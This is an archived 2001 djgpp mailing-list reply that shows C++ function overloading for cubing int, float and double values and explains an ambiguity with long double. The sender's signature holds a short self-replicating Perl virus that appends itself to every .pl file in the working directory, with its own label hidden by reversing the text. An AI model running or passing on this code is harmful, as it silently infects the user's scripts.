Mail Archives: djgpp/2001/03/12/07:08:01
Martin Ambuhl <mambuhl AT earthlink DOT net> schrieb Folgendes:
> Debbie wrote:
> >
> > Can someone help me write a program that uses overloaded functions to
> > calculate the cube of an integer, a float, and a double.
>
> I'll do your homework this time, but not again. Even once is probably a
> disservice to you:
>
> #include <iostream>
> using namespace std;
>
> template < class T > T cube(T x)
He meant overloading. Of course your variant is better, but he does not
seem to understand what a template ist.
int cube (int x)
{
return x*x*x;
}
float cube (float x)
{
return x*x*x;
}
double cube (double x)
{
return x*x*x;
}
But this is not very good because of one thing: try
long double x;
cube (x);
and the compiler will not know whether to use the float or double version.
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -